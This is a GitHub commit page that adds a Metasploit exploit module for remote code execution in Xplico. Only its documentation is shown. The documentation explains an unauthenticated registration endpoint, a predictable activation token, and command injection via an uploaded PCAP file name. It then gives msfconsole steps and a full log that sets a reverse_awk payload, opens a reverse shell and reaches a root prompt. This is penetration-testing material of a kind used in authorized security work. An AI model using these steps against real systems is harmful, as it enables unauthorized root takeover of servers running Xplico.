Skip to content

Commit a5fa634

Browse files
committed
Land rapid7#9206, Add Xplico RCE exploit module
2 parents 16fa3b9 + 54936b6 commit a5fa634

File tree

3 files changed

+447
-0
lines changed

3 files changed

+447
-0
lines changed
1.16 KB
Binary file not shown.
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
## Vulnerable Application
2+
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal command under the context of the root user.
3+
4+
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
5+
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
6+
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
7+
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
8+
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
9+
10+
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
11+
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
12+
13+
**Vulnerable Application Installation Steps**
14+
15+
Follow instruction from "from sourceforge" section at following URL. Don't forget install version 1.2.0 instead of 1.0.0. At the time of this writing, installation commands contains command for version 1.0.0
16+
17+
[http://wiki.xplico.org/doku.php?id=ubuntu](http://wiki.xplico.org/doku.php?id=ubuntu)
18+
19+
You may also give a try to virtualbox image provided by maintainer of Xplico. I've tested this module against Xplico-1.1.0-ubuntu-13.10-i386.ova.
20+
[https://sourceforge.net/projects/xplico/files/VirtualBox%20images/](https://sourceforge.net/projects/xplico/files/VirtualBox%20images/)
21+
22+
Username of the virtualbox image is "ubuntu" and password is "reverse".
23+
24+
## Verification Steps
25+
26+
A successful check of the exploit will look like this:
27+
28+
- [ ] Start `msfconsole`
29+
- [ ] `use exploit/linux/http/securityonion_xplico_exec`
30+
- [ ] Set `RHOST`
31+
- [ ] Set `PAYLOAD cmd/unix/reverse_awk`
32+
- [ ] Set `LHOST`
33+
- [ ] Run `exploit`
34+
- [ ] **Verify** that you are seeing `New user successfully registered` in console.
35+
- [ ] **Verify** that you are seeing `User successfully activated` in console.
36+
- [ ] **Verify** that you are seeing `Successfully authenticated` in console.
37+
- [ ] **Verify** that you are seeing `New Case successfully creted` in console.
38+
- [ ] **Verify** that you are seeing `New Sols successfully creted` in console.
39+
- [ ] **Verify** that you are seeing `PCAP successfully uploaded. Pcap parser is going to start on server side` in console.
40+
- [ ] **Verify** that you are getting `We are at PCAP decoding phase. Little bit more patience...` in console.
41+
- [ ] **Verify** that you have your root shell.
42+
43+
## Scenarios
44+
45+
```
46+
msf > use exploit/linux/http/securityonion_xplico_exec
47+
msf exploit(securityonion_xplico_exec) > set RHOST 12.0.0.30
48+
RHOST => 12.0.0.30
49+
msf exploit(securityonion_xplico_exec) >
50+
msf exploit(securityonion_xplico_exec) > exploit
51+
52+
[-] Exploit failed: A payload has not been selected.
53+
[*] Exploit completed, but no session was created.
54+
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/
55+
set payload cmd/unix/generic set payload cmd/unix/reverse_netcat
56+
set payload cmd/unix/reverse_awk
57+
msf exploit(securityonion_xplico_exec) > set payload cmd/unix/reverse_awk
58+
payload => cmd/unix/reverse_awk
59+
msf exploit(securityonion_xplico_exec) > set LHOST 12.0.0.1
60+
LHOST => 12.0.0.1
61+
msf exploit(securityonion_xplico_exec) > exploit
62+
63+
[*] Started reverse TCP handler on 12.0.0.1:4444
64+
[*] Initiating new session on server side
65+
[*] Registering a new user
66+
[+] New user successfully registered
67+
[*] Username: mwbvnyowr
68+
[*] Password: gHPkAvCTXFDVcfTwaAmfoJUoMNHNDIDT
69+
[*] Calculating em_key code of the user
70+
[*] Activating user with em_key = 159d4af63472e2a47e3f3c5c11205a5e
71+
[+] User successfully activated
72+
[*] Authenticating with our activated new user
73+
[+] Successfully authenticated
74+
[*] Creating new case
75+
[+] New Case successfully creted. Our pol_id = 36
76+
[*] Creating new xplico session for pcap
77+
[+] New Sols successfully creted. Our sol_id = 54
78+
[*] Uploading malformed PCAP file
79+
[+] PCAP successfully uploaded. Pcap parser is going to start on server side.
80+
[*] Parsing has started. Wait for parser to get the job done...
81+
[+] We are at PCAP decoding phase. Little bit more patience...
82+
[+] We are at PCAP decoding phase. Little bit more patience...
83+
[+] We are at PCAP decoding phase. Little bit more patience...
84+
[*] Command shell session 1 opened (12.0.0.1:4444 -> 12.0.0.30:39782) at 2017-11-08 14:44:52 +0300
85+
86+
id
87+
uid=0(root) gid=0(root) groups=0(root)
88+
```

0 commit comments

Comments
 (0)